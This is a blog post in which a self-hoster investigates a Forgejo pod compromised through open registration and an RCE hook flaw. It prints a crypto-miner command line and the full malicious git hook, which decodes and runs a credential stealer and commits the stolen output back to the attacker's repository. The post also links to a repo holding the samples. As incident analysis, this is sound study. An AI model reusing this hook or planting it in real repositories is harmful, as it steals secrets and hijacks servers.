I am not proud of this. It's probably the event I am the least proud of in my 5-ish years of self-hosting and homelabbing, a journey of which the very beginning came round to bite me in the butt this past week. This is most definitely not supposed to be a linkedin-ified post bearing resemblance to "i got dumped, this is what it taught me about cybersecurity", rather a fun recounting of a series of mistakes resulting in an even more fun conversation on Fedi.
Notice: I have posted this blogpost to Linkedin, and the unfamiliar audience there. For those new to my website, no LLMs were consulted at any point during the creation of content here. Everything is made with AI - Alex Intelligence
My problems started out this morning, as I was getting notifications from a friend's UptimeKuma instance that meetup.mu, a website I host on my homelab, was intermittently timing out. Initially I thought it was just the server having a few hiccups, but when I eventually checked, I saw that the website was either down, or incredibly slow. I opened my own UptimeKuma dashboard, which runs on the same cluster as all my other services, and it showed something very bizarre.
This is the response time for meetup.mu over the past 24 hours, and it tells an interesting story. Prior to 9pm yesterday, everything was running fine, with an average 250ms response time. Since then, however, response time shot up to anywhere between 5 and 10 whole seconds, with random spikes to 20 seconds and beyond. Since UptimeKuma is running on the same cluster as all the other services, I could easily cross out actual network issues from the ISP.
Weird, I thought. I was in the bus at this point, on my way home, and I wouldn't be able to do any operations until I got back. When I did get back, I immediately went to check on my servers, and the first tell that something was wrong was that I could hear the fans spinning. My Optiplex micros are normally silent, and they shouldn't be running hot right now either as the rack is open on 3 sides.
Well, my answer was immediately obvious once I got onto my desktop.
One of the nodes was running at 100% CPU usage, while the others remained at the normal 25-30% load. First thing, I ssh'd into the node and ran top, because CPU saturation is indicative of one specific type of malware...
At this point, I knew one of the pods on that node had been compromised, and a quick k top pods showed the culprit.
Running top inside the Forgejo pod gave the following, which was complete confirmation:
2139 1 git SN 2399m 7% 2 86% /data/gitea/home/.universal-miner/xmrig --url=gulf.moneroocean.stream:10128 --user=Very well, there's a crypto miner in my pod. How on earth did it get there? It's not like there's terminal access exposed or anything like that. What a weird pod to get compromised... Right?
Further investigation led me to checking if there were any active vulnerabilities for Forgejo or Gitea, and voila, CVE-2026-60004, with CVSS of 9.8 – a vulnerability allowing arbitrary remote code execution. And naturally I missed the memo, and Renovate hasn't informed me about version 16. Great.
This vulnerability has an attacker with write access doing some techno-magic to create a file called hooks/post-index-change in a repo, which gets auto-run, and without a sandbox. Here's a proper technical explanation of the CVE: sploitus. Though, how does a would-be attacker have write access? Gitea and Forgejo both have registration open by default, without any restrictions. And yes, 17 year old me did not disable that setting. So naturally, my next step was checking accounts which had been created:
Yeah, that's not just one crypto miner worth of malware now is it? Let's have a look at what else my server picked up!
I went in, looking for a crypto miner, and inadvertently found several cases of data exfiltration from the Forgejo pod.
Pic related. Also I love raccoons.
Out of those accounts, only 3 actually had malware repos. I assume the others got what they wanted and deleted the repo afterwards? Though why not delete the account to hide the fact something happened? I cloned all the repositories to my desktop to investigate, and so I could restore prod to working conditions but still be able to look through the malware.
So, let's go through some malware! All of the malicious repos are now here: https://git.alexbissessur.dev/alex/forgejo-malware/src/branch/main so you can look through them on your own time.
sec5f70f6b79b
This is probably the simplest one to look at, so let's get it out of the way. This is the crypto miner that I was looking for in the first place. It is a straightforward script which fetches universal.sh from yosemite.jp, a Japanese website for enthusiasts about the Yosemite national park in the US, which probably got compromised and is being used to host the second malicious script. There's a bunch of git fluff on the bottom, and all it does is get the output from the bash script and commit it back to the malicious repo. It probably sounds a bit odd right now, but this feature will make sense with the next bits of malware.
So, bottom line, the script which is downloaded in turn downloads and runs the crypto miner. Boring. Lame. Overused. Stale.
For what it's worth, I attempted reaching out to operators of yosemite.jp to inform them that they are inadvertently hosting malware. We'll see if anything happens from that, I hate innocent people being caught in the crossfire.
cr9dxmti62 and gitea_exp
These two are nearly identical, so I will only go over cr9dxmti62.
> cat hooks/post-index-change
#!/bin/sh
# escapes the temporary workspace
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
tmpd=$(mkdir -p "${TMPDIR:-/tmp}/hk.$$" 2>/dev/null && echo "${TMPDIR:-/tmp}/hk.$$") || exit 9
# actual bad part
echo 'IyEvYmluL3NoCiMgY3JlZGh1bnR[truncated]'
| base64 -d > "$tmpd/c.sh" 2>/dev/null
out="$tmpd/out"
{ /bin/sh "$tmpd/c.sh"; s=$?; printf "\n[exit-status=%s]\n" "$s"; } > "$out" 2>&1
sz=$(wc -c < "$out")
if [ "$sz" -gt 1048576 ]; then
{ head -c 1048576 "$out"; printf "\n[OUTPUT_TRUNCATED: total=%s]\n" "$sz"; } > "$out.2"
out="$out.2"
fi
# getting the data out
oid=$(git --git-dir="$origin_git" hash-object -w --stdin < "$out") || exit 4
tree=$(printf '100644 blob %s\toutput\n' "$oid" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=cr GIT_AUTHOR_EMAIL=cr@invalid GIT_COMMITTER_NAME=cr GIT_COMMITTER_EMAIL=cr@invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-cr9dxmti62 "$commit" || exit 7
rm -rf "$tmpd"
exit 0There's two main parts to this code, which I have commented for you. First is the actual bad part. Let's go over that.
This block has a massive chunk of bash encoded as base64 to avoid detection, which I have truncated here for brevity. It pipes the encoded bash into base64 -d which decodes it, then dumps the actual malicious payload into c.sh in the temp directory of the host filesystem (in my case, the pod's filesystem). It then runs the malicious script which itself sends all the juicy stuff into stdout, which is captured and sent to the $out file.
The second important block actually commits the findings stored in $out back to the malicious repo. To me, this makes more sense than attempting to send the data over the network with something like curl, as network access may be blocked or monitored in a way which would set off alarms. Notice as well that the $out is truncated if too big, avoiding any file size monitoring. I am not a malware connoisseur by any means, but I like this one; it has elegance and thought put into it.
Anyways, the data is sent to refs/heads/out-cr9dxmti62 so I should be able to find it in the git repo. But before looking at the data, let's have a quick peek at what the base64 encoded script looks like:
It's a credentials stealer! The script itself is way too long for me to paste here, but you can always go to the repo and decode the base64 string for yourself. To summarise, this script looks for network information, passwd, ssh keys, bash history, crypto wallets, databases, .env files, config (eg vpn), systemd secrets, kubernetes secrets, docker sockets, Gitea config, db files, and so on. You get the idea.
Out of curiosity, I re-ran this script, and compared it to what had been exfiltrated through the git repo. I won't say it's good, but it definitely wasn't as bad as I expected. The worst things were a handful of keys and a kubernetes service account which has no permissions to do anything.
How Should I Have Avoided This?
I know, there's a lot I should have done which would have reduced the impact of this whole situation. For starters, CPU limits would have prevented the crypto miner from consuming the node. I didn't have those because the Forgejo deployment dates way back and needed a refresh anyways. Secondly, registration should have been closed, and that was a big mistake on my part. At the same time, I am thankful that the pod wasn't restarted, the node didn't reboot (eg powercut), and that I had all the time I wanted to look at what was happening.
And really, if it wasn't for the crypto miner which brought that node to a halt, I would not have found the secret stealers. It's funny how that happened.
Amidst the chaos, I had an amazing time live-tooting on Mastodon and talking to my friends both there and on the homeops Discord server. While, sure, malware is never nice, it was probably my highlight of the week with how fun the investigation was, as well as how much I got to talk to my friends.
